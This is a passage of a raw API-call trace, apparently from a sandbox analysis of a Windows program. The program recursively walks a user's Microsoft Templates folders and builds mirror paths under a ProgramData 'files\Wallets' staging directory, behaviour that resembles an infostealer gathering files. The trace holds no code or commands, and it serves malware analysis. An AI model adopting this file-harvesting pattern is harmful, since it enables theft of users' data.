lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001106[[fn=Badge]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx" [0052.327] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001106[[fn=Badge]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx" [0052.327] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.327] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001114[[fn=Gallery]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx" [0052.327] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001114[[fn=Gallery]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx" [0052.327] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.327] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001115[[fn=Parcel]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx" [0052.327] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001115[[fn=Parcel]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx" [0052.327] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 0 [0052.327] FindClose (in: hFindFile=0x58a300 | out: hFindFile=0x58a300) returned 1 [0052.328] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0 [0052.328] FindClose (in: hFindFile=0x58a540 | out: hFindFile=0x58a540) returned 1 [0052.328] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.328] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0052.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.328] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0052.328] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0052.328] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.328] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1 [0052.328] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1 [0052.328] lstrcpyW (in: lpString1=0x19bbe0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*.*" [0052.328] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*.*", lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0x58a540 [0052.329] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.329] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\" [0052.329] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\." [0052.329] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.329] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\" [0052.329] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\." [0052.329] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.329] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.329] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\" [0052.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\.." [0052.330] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.330] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\" [0052.330] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\.." [0052.330] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.330] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.330] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.330] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\" [0052.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.330] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0052.330] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\" [0052.330] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.330] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0052.330] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0052.330] lstrcpyW (in: lpString1=0x19b29c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*.*" [0052.330] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*.*", lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 0x58a3c0 [0052.339] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.339] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.339] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\." [0052.339] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.339] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.339] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\." [0052.339] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.339] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.340] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" 